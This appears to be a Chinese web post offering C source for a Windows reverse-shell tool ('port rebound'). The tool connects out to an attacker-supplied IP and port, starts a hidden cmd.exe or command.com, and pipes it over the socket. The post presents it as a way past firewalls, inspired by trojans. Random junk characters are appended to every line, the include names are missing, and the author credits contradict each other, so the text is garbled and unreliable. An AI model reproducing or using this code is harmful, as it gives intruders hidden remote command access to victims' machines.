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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x4E7X_  
Fs9I7~L3  
/* ============================== "uaMk}[ <!  
Rebound port in Windows NT nm6h%}xND<  
By wind,2006/7 ~]nSSD)\  
===============================*/ ;1%-8f:lW  
#include W3MU1gl6k{  
#include wE?'Cl  
bgK'{_o-  
#pragma comment(lib,"wsock32.lib") 7R6ry(6N  
l)Crc-:}4j  
void OutputShell(); 5]AC*2(  
SOCKET sClient; #vti+A~n,4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %= fHu+  
yXHUJgjl/  
void main(int argc,char **argv) KY51rw.  
{ [n \2  
WSADATA stWsaData; ]Q>.HH  
int nRet; m 8aITd8  
SOCKADDR_IN stSaiClient,stSaiServer; [_1G@S6Ex  
PE5R7)~A  
if(argc != 3) 2zs73:z  
{ 1Cgso`  
printf("Useage:\n\rRebound DestIP DestPort\n"); v^d]~ !h  
return; CF?1R  
} (O.d>  
v7iuL6jl  
WSAStartup(MAKEWORD(2,2),&stWsaData); j)<IRD^  
>zXsNeGQR  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &6ZD136  
e[&L9U6GW-  
stSaiClient.sin_family = AF_INET; KG|n  
stSaiClient.sin_port = htons(0); LR".pH13  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nV-mPyfL8  
^,/RO5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .k%[4:Fe  
{ ?~hHGf\^b6  
printf("Bind Socket Failed!\n"); Qo;zHZ'  
return; VJickXA  
} {<R2UI5m5  
8,? h~prc  
stSaiServer.sin_family = AF_INET; {q `jDDM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q|!-0B @  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e=B|==E10M  
6L"%e!be6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z0Vl+  
{ |mGFts}0o'  
printf("Connect Error!"); $}>+kHoT{  
return; +@p% p  
} 1~Oe=`{&  
OutputShell();  SL#0kc0x  
} hc>HQrd  
<{V(.=11  
void OutputShell() Mxyb5h  
{ glM$R&/  
char szBuff[1024]; c'%-jG)\  
SECURITY_ATTRIBUTES stSecurityAttributes; SYCEQ5 -  
OSVERSIONINFO stOsversionInfo; _B/ dWA,P  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >z%&xgOa  
STARTUPINFO stStartupInfo; ]n_ k`  
char *szShell; GO` Ru 8  
PROCESS_INFORMATION stProcessInformation; $\]&rZVi  
unsigned long lBytesRead; ]:4*L  
Ju96#v+:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]rWgSID  
S|7!{}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WvBc#s-  
stSecurityAttributes.lpSecurityDescriptor = 0; zNxW'?0Z?  
stSecurityAttributes.bInheritHandle = TRUE; c:<005\Bg  
WST8SEzJ  
Jk7|{W\OA  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {`LU+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M>~Drul  
`$,GzS(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y9q8i(E0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LBM ^9W  
stStartupInfo.wShowWindow = SW_HIDE; :.Jf0  
stStartupInfo.hStdInput = hReadPipe; +av@$}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U+:m4a  
_+K_5IO4  
GetVersionEx(&stOsversionInfo); }1Gv)l7  
Cd,jDPrw  
switch(stOsversionInfo.dwPlatformId) *>|gxM8  
{ + +M$#Er&  
case 1: 'ig&$fzb  
szShell = "command.com"; #_6I w`0  
break; Q=AavKn#  
default: wy0tgy(' |  
szShell = "cmd.exe"; 8$6Y{$&C  
break; V@zg}C|e  
} i BF|&h(\  
%?}33yV  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sz:g,}~h  
fVF2-Rh=  
send(sClient,szMsg,77,0); n>ULRgiT:o  
while(1) WY?[,_4U  
{ (.D~0a JU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #gRM i)(F  
if(lBytesRead) l_o@miG/  
{ 3Dng 1}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :~2vJzp@?  
send(sClient,szBuff,lBytesRead,0); 2%LL Sa  
} YB(Q\hT~\;  
else ; <&*rnH  
{ ar__ Pf6r  
lBytesRead=recv(sClient,szBuff,1024,0); JmxH"7hTE  
if(lBytesRead<=0) break; B8": 2HrW$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \NgYTZ  
} yXSFjcoB  
} =/s>Q l  
s/$?^qtyC  
return; qh9Z50E9  
}
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